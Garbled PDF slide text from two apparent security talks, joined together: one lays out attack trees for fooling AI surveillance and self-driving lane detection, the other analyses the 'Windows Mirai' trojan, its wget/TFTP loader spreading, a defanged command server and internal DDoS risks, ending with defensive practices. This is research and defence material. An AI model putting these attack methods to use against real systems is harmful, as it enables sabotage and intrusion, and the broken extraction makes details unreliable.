get access to
facial detection AI
software
minimize specific
class likelihood
minimize
"objectyness"
likelihood
minimize both
Fooling AI-powered video surveillance
AI red team attack tree
goal: make the
object detector
ignore person
get physical
control of the
camera
put a sticker over
the camera
remove the
power source
move the camera
to a different
location
get access to the
camera network
play looping
footage
get access to
facial detection AI
software
minimize specific
class likelihood
minimize
"objectyness"
likelihood
minimize both
Fooling AI-powered video surveillance
Adversarial ML attack tree
goal: make self-
driving car think a
lane is not a lane
generate
adversarial
example
Breaking self-driving car lane detection
AI red team attack tree
goal: make self-
driving car think a
lane is not a lane
dump a salt line
on the road
put stickers on
the road
get physical
access to car
get access to lane
detection system
generate
adversarial
example
Breaking self-driving car lane detection
Adversarial ML attack tree
goal: make self-
driving car think a
lane is not a lane
dump a salt line
on the road
put stickers on
the road
get physical
access to car
get access to lane
detection system
generate
adversarial
example
Breaking self-driving car lane detection
How to design an attack for an AI system
1. What model are you attacking?
2. Where do the data come from?
3. Where do the predictions go?
How to design an attack for an AI system
1. What model system are you attacking?
2. Where do the data come from?
3. Where do the predictions go?
How to design an attack for an AI system
1. What system are you attacking?
2. What is the data processing pipeline?
i.
Where do the data come from?
ii.
What is the data representation?
iii. What is the output?
How to design an attack for an AI system
1. What system are you attacking?
2. What is the data processing pipeline?
i.
Where do the data come from?
ii.
What is the data representation?
iii. What is the output?
3. What is the threat model?
How to design an attack for an AI system
1. What system are you attacking?
camera
detection system
recognition
system
How to design an attack for an AI system
2. What is the data processing pipeline?
i.
Where do the data come from?
ii.
What is the data representation?
iii. What is the output?
feature
extraction
camera
detection system
recognition
system
decision
making
How to design an attack for an AI system
3. What is the threat model?
goal: make the face
detector ignore
person
get physical control
of the camera
put a sticker over the
camera
remove the power
source
move the camera to a
different location
get access to the
camera network
DDoS the network
play looping footage
move camera
get access to facial
detection AI system
get access to training
procedure
poison data set
force backdoored
function
use scene statistics to
generate adversarial
example
minimize specific
class likelihood
minimize
"objectyness"
likelihood
minimize both
Tl;dw
• Go for the jugular feature extraction process
• Think about the data supply chain
• Focus on the threat model
For more information (and math!)
Feel free to reach out via Twitter (@adversariel) and/or grab a beer with me :)
• Attacks:
• Tencent Keen Security Lab, 2019 -
https://keenlab.tencent.com/en/whitepapers/Experimental_Security_Research_of_Tesla_Au
topilot.pdf
• [Biggio et al, 2018] - https://pralab.diee.unica.it/sites/default/files/biggio18-pr.pdf
• [Fredrikson et al, 2015] - https://www.cs.cmu.edu/~mfredrik/papers/fjr2015ccs.pdf
• [Tramèr et al, 2016] - https://arxiv.org/pdf/1609.02943.pdf
• [Thys et al, 2019] - https://arxiv.org/pdf/1904.08653.pdf
• [Brown et al, 2017] - https://arxiv.org/pdf/1712.09665.pdf
• Threat modeling:
• Schneier, 1999 - https://www.schneier.com/academic/archives/1999/12/attack_trees.html | pdf |
Steinthor)Bjarnason
Jason)Jones
Arbor)Networks
The$call$is$coming$from$inside$the$house!$
Are$you$ready$for$the$next$evolution$in$
DDoS$attacks?$
• The)Promise)of)IoT
• More)personalized,)automated)services
• Better)understanding)of)customer)needs
• Optimized)availability)and)use)of)
resources)
• Resulting)in:
• Lower)Costs
• Improved)Health
• Service)/)efficiency)gains
• Lower)environmental)impact
The$Wonders$of$IoT
• To)fulfill)these)premises,)
IoT)devices)are)usually:
• Easy)to)Deploy
• Easy)to)Use
• Require)Minimal)
Configuration)
• Low)cost
• However…
The$IoT$Problem$– Security$
Unprecedented DDoS attack sizes
Mirai infections)December)2017
•
1M)login)attempts)from)11/29)to)12/12)from)92K)unique)
IP)addresses
•
More$than$1$attempt$per$minute$in$some$regions
The$Results…
The$Situation$Today…
• An)unprotected)IoT)device)on)
the)Internet)will)get)infected)
within)1)minute.
• An)IoT)device)located)behind)a)
NAT)device)or)a)Firewall)is)not)
accessible)from)the)Internet)and)
is)therefore)(mostly))secure.)
• But)in)January)2017,)this)all)
changed…
http://marketingland.com/wp-content/ml-loads/2014/09/iceberg-ss-1920.jpg
Windows-Based$IoT$Infection
• Desktop)malware)spreading)multi-platform)malware)is)not)new
• Increasingly)common)technique)amongst)both)targeted)malware)and)crimeware,)
primarily)focusing)on)mobile)devices
•
HackingTeam RCS
•
WireLurker
•
DualToy
•
“BackStab”)campaign
• Banking)trojans will)also)targeting)mobile)devices)to)steal)2FA)/)SMS)authorization)
codes
•
May)consist)of)a)sideload installation)or)tricking)a)user)to)click)a)link)on)their)phone
• IOT)devices)present)a)new)and)ripe)infection)vector
•
”Windows)Mirai”)is)the)first)known)multi-platform)trojan to)target)IoT)devices)for)infection
Background
• HackingTeam RCS)is)a)well-known)implant)commonly)sold)to)nation-state)
organizations)for)monitoring)/)spying)purposes
• HackingTeam has)clients)for)both)Mac)and)Windows)Desktop)systems
• Also)clients)for)Android,)iOS,)Blackberry,)WindowsPhone mobile)OS
• Infection)on)mobile)operating)systems)can)be)achieved)via)access)to)an)infected)
desktop
•
Only)jailbroken)iOS)devices)were)supported)at)the)time
•
Details)and)image)courtesy)of)Kaspersky)https://securelist.com/blog/mobile/63693/hackingteam-
2-0-the-story-goes-mobile/
HackingTeam RCS
• WireLurker
•
Intermediate)infector)targets)MacOS instead)of)Windows
•
Installs)malicious)/)“risky”)iOS)apps)on)non-jailbroken)iOS)devices)via)side-loading
•
Side-loading is)a)term)used)in)reference)to)the)process)of)installing)an)application)on)a)phone)
outside)of)the)official)App)Store
•
https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/
• DualToy
•
Infects)both)Android)and)iOS)devices)via)Windows)hosts
•
Installs)ADB)(Android)Debug)Bridge))and)iTunes)drivers)to)communicate)with)mobile)devices
•
Installed)Android)apps)are)primarily)riskware)and)adware
•
Attempts)to)steal)various)device)info)from)iOS)devices)in)addition)to)iTunes)username)and)
password
•
More)details)at) https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-
trojan-sideloads-risky-apps-to-android-and-ios-devices/
DualToy &$WireLurker
• Initially)reported)on)in)early)2017)by)PAN
•
Later)reported)on)by)multiple)organizations
• Not)truly)a)Windows)version)of)Mirai,)spread)other)Linux)/)IoT malware)previously
• Appears)to)be)Chinese)in)origin,)not)nation-state)related
• Discovered)samples)dating)back)to)at)least)March)2016
•
Latest)known)version)is)1.0.0.7
•
Earliest)seen)version)by)ASERT)is)1.0.0.2
•
Spreading)a)Linux)Socks)Trojan
• Earlier)versions)discovered)via)re-used)PE)property)names
•
Properties)combined)with)recognizable)network)traffic)helped)to)discover)the)early)versions)of)the)
trojan
“Windows$Mirai”
WM$Common$PE$File$Info$Properties
CompanyName:
Someone
FileDescription:
Someone)To)Do
FileVersion:
1.0.0.X
InternalName:
WPD.exe
OriginalFilename:
WPD.exe
ProductName:
SomeoneSomeThing
ProductVersion:
1.0.0.X
• Spreads)to)Windows)via
•
Mysql stored)procedure
•
MSSQL)stored)procedure
• Scans)for)Windows)credentials)via
•
RDP)(not)in)early)versions)
•
WMI
• Spreads)to)Linux)/)IoT via)
•
Telnet)scan
• Use)‘wget’)or)‘tftp’)to)download)IoT malware)loader
• Newer)versions)can)also)echo)the)loader)stored)as)a)resource)in)the)PE)file
•
Not)currently)known)to)use)any)IoT exploits)to)spread)like)other)Mirai variants
• Scans)for)Linux)/)IoT credentials)via
•
SSH
WM$Scanning$and$Spreading
WM$1.0.0.2$Debug$Logging$Strings$FTW!
WM$Version$1.0.0.5$- 7
◦ Has used multiple different CnC hosts
◦ Spreads mirai loader
‒
Loader is stored as a PE resource
‒
Each supported architecture is stored as a different resource
◦ Installs mirai loader via
‒
Wget
‒
TFTP
‒
Echo
◦ Mirai loader is stored as a resource
‒
Architectures are iterated through to determine the correct resource to load
‒
Uses “ECCHI” as busybox marker string
‒
CnC of cnc[.]f321y[.]com:24 – down when we discovered
‒
Hardcodes DNS to 114[.]114[.]114[.]114 – popular CN-based public DNS server
ELF$Mirai Loader$as$a$PE$resource
WM$1.0.0.7$Debug$Logging$Strings$FTW!
• Installation)and)Updating
•
The)trojan will)first)retrieve)a)text)file)
containing)update)instructions
• First)line)in)the)update)file)will)be)a)URL)
and)a)local)path)to)install)to
• Second)line)is)a)windows)batch)file)
•
The)trojan then)checks)its)current)
version)against)a)different)url (/ver.txt)
• If)a)newer)version)is)detected,)it)is)
downloaded)and)installed
• The)URL)is)a)legitimate)image)of)Taylor)
Swift)with)a)PE)file)appended
WM$Version$1.0.0.7
WM$Delivered$via$Taylor$Swift
WM$1.0.0.7$Behavioral$Characteristics
3)examples)of)overlap)behavior)for)the)windows)spreader)trojan that)helped)locate)
more)samples
Implications$and$consequences
21
The Zombie horde
◦
A single infected Windows computer has now the
capability to infect and subvert the ”innocent” IoT
population into zombies, all under the control of the
attacker.
The attackers weapon arsenal
◦
The attacker can now use the zombies to:
‒
Perform reconnaissance.
‒
Infect other IoT devices.
‒
Launch attacks against external targets.
‒
Launch attacks against internal targets.
https://hdwallsbox.com/army-undead-fantasy-art-armor-skeletons-artwork-warriors-wallpaper-122347/
Game)of)Thrones)2011
Implications$and$Potential$Consequences
22
A$Typical$Mid-Enterprise$network
Bad$
guys
Security$
stuff
23
Scanning$for$vulnerable$targets$(1/2)
24
Scanning$for$vulnerable$targets$(2/2)
The)Scanning)activity)generates:
• Flood)of)ARP)requests
• Lots)of)small)packets,)including)TCP)SYN’s
As)more)devices)get)infected,)the)scanning)activity)will)
increase,)potentially)causing)serious)issues)and)
outages)with)network)devices)like)firewalls,)switches)
and)other)stateful devices.
These)kinds)of)outages)have)repeatedly)happened)in)
the)wild,)both)during)the)NIMDA,)Code)Red)and)
Slammer)outbreaks)in)2001)and)also)recently)during)
large)scale)Mirai infections)at)large)European)Internet)
Service)Providers)
25
Launching$outbound$DDoS$attacks$(1/2)
Launching$outbound$DDoS$attacks$(2/2)
◦ Attack activity generates a lot of traffic.
Mirai can for example launch:
‒ UDP/ICMP/TCP packet flooding
‒ Reflection attacks using UDP packets with
spoofed source IP addresses
‒ Application level attacks (HTTP/SIP attacks).
‒ Pseudo random DNS label prefix attacks against
DNS servers.
◦ This attack traffic will quickly fill up any
internal WAN links and will also will cause
havoc with any stateful device on the path,
including NGFWs.
27
Reconnaissance$and$internally$facing$attacks$(1/2)
Blackhole
route
EVIL>CORP
◦ A clever attacker would scan the internal
network to identify vulnerable services and
network layout.
◦ He would then launch attacks against the
routing tables to shut out NOC/SOC services,
followed by DDoS attacks against internal
services.
◦ This would be devastating as if there are no
internal barriers in place, the network would
simply collapse.
◦ After a while, the clever attacker would then
stop the attack and send a ransom e-mail,
asking for his BTC’s…
Reconnaissance$and$internally$facing$attacks$(2/2)
Can$these$attacks$be$done$by$using$IoT$devices?
◦ First, lets look at the anatomy of a typical
network device. It has a:
‒
Fast path
‒
Slow path
◦ And there are 4 main groups of packets to be
handled:
‒
Transit packets
‒
Received packets (for the device)
‒
Exception packets
‒
Non-IP packets
◦ If an attacker can force the device to spend
cycles on processing packets, it wont have
cycles to send or process critical packets!
Fast
path
Slow
path
Transit)IP
Receive)IP
Exceptions)IP
Non-IP
CPU
A)carefully)crafted)300pps)flood)against)
typical)(unsecured))high-end)routers/switches)
will)cause)those)to)lose)their)routing)adjacencies…
◦ Internet Service Providers have successfully been dealing with similar attacks
for the last 20 years by following what's called Security Best Current Practices
(BCP’s). These basically translate into “Keep the network up and running!”
◦ Service Providers have followed a 6 phase methodology when dealing with
attacks:
‒
Preparation: Prepare and harden the network against attack.
‒
Identification: Identify that an attack is taking place.
‒
Classification: Classify the attack.
‒
Traceback: Where is the attack coming from.
‒
Reaction: Use the best tool based on the information gathered from the Identification,
Classification and Traceback phases to mitigate the attack.
‒
Post-mortem: Learn from what happened, improve defenses against future attacks.
Defending$against$insider$threats$(1/2)
◦ These Security Best Practices include:
‒ Implementing full Network segmentation and harden (or isolate) vulnerable
network devices and services.
‒ Developing a DDoS Attack mitigation process.
‒ Utilizing flow telemetry to analyze external and internal traffic. This is
necessary for attack detection, classification and trace back.
‒ Deploying a multi-layered DDoS protection.
‒ Scanning for misconfigured and abusable services, this includes NTP, DNS
and SSDP service which can be used for amplification attacks.
‒ Implementing Anti Spoofing mechanisms such as Unicast Reverse-Path
Forwarding, ACLs, DHCP Snooping & IP Source Guard on all edge
devices.
Defending$against$insider$threats$(2/2)
32
The attackers are now inside the house!
◦
The Windows spreader has opened up the possibility to
infect internal IoT devices and use them against you.
Internal network defenses and security architectures
need to be adapted to meet this new threat.
◦
Stateful devices will collapse both due to persistent
scanning active and also when DDoS attacks are
launched.
Implementing Security BCP’s will help
◦
Using Security BCP’s will reduce the impact of internal
DDoS, in addition this will help to help to secure
networks against other security threats as well.
Summary
The)Walking)Dead,)season)6
Zombie)Horde)by)JoakimOlofsson
Questions?
Thank$you! | pdf |
Subsets and Splits